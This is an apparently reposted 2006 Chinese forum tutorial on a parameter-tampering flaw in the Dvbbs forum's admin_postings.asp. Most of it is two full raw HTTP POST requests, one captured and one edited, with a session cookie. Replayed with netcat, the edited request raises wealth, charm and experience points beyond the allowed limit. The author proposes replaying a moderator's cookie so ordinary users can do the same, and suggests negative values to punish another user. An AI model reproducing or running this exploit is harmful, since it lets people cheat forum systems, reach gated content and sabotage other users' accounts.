|
中华网络安全联盟 作者：佚名 来源：网络 时间：2006-3-19
动网对admin_postings.asp设置不严..在进行贴子提升时.可以自己定义数字..达到刷分..刷经验及魅力的目的.
比如我有一贴,
http://127.0.0.1/dispbbs.asp?boardID=30&ID=26954&page=1
然后对本贴进行提升
http://127.0.0.1/admin_postings.asp?action=提升&BoardID=30&ID=26954
默认提升最高的数目是50..如下图
这时候我们用WSockExpert进行抓包....抓到包为
POST
/admin_postings.asp?action=uptopic HTTP/1.1
Accept: image/gif,
image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword,
application/x-shockwave-flash, */*
Referer:
http://127.0.0.1/admin_postings.asp?action=提升&BoardID=30&ID=26954
Accept-Language:
zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding:
gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)
Host: 127.0.0.1
Content-Length: 141
Connection:
Keep-Alive
Cache-Control: no-cache
Cookie:
DvForum=UserID=617&usercookies=2&password=hjf87126ffz2C3g7y&userhidden=1&userclass=%B0%E6%D6%F7&username=fhod&StatUserID=6127457519;
style=null; ASPSESSIONIDCQTDACAT=JHKDJPECDFDKJHDABKIGCLEM; Dvbbs=;
upNum=0
title=%BA%C3%CE%C4%D5%C2&content=%BA%C3&doWealth=50&douserCP=50&douserEP=50&ID=26954&replyID=&boardID=30&msg=&submit=%C8%B7%C8%CF%B2%D9%D7%F7
然后我们来进行修改.
数值修改就在这么一段
doWealth=50&douserCP=50&douserEP=50
我们改为任意一个数...这里我改了doWealth=8888&douserCP=8888&douserEP=8888图个吉利..哈哈.
因为数字修改了..字节也就增加了..我加了6个..所以就做了6个字节..把原来的
Content-Length:
141
改为
Content-Length: 147
完成的就为
POST
/admin_postings.asp?action=uptopic HTTP/1.1
Accept: image/gif,
image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword,
application/x-shockwave-flash, */*
Referer:
http://127.0.0.1/admin_postings.asp?action=提升&BoardID=30&ID=26954
Accept-Language:
zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding:
gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)
Host: 127.0.0.1
Content-Length: 147
Connection:
Keep-Alive
Cache-Control: no-cache
Cookie:
DvForum=UserID=617&usercookies=2&password=hjf87126ffz2C3g7y&userhidden=1&userclass=%B0%E6%D6%F7&username=fhod&StatUserID=6127457519;
style=null; ASPSESSIONIDCQTDACAT=JHKDJPECDFDKJHDABKIGCLEM; Dvbbs=;
upNum=0
title=%BA%C3%CE%C4%D5%C2&content=%BA%C3&doWealth=8888&douserCP=8888&douserEP=8888&ID=26954&replyID=&boardID=30&msg=&submit=%C8%B7%C8%CF%B2%D9%D7%F7
然后nc提交
c:\nc
127.0.0.1 80 
本测试过程是以版主身份进行的..普通用户暂为测试....个人想法是..本地假设一BBS..以版主身份登陆..抓取cookie包..然后以普通用户登陆一论坛..发贴抓一包..然后将两个包修改..进行提交..如果admin_postings.asp真的设置不严格..应该同样可以达到此目的...此漏洞利用不大..不过对于那些需要金币或魅力及经验值达多少才可以浏缆的贴的论坛是大有用户啊...当然..你要整某人一下..大可以把数字改为负数..不过要记的把Content-Length:改对哦,
|
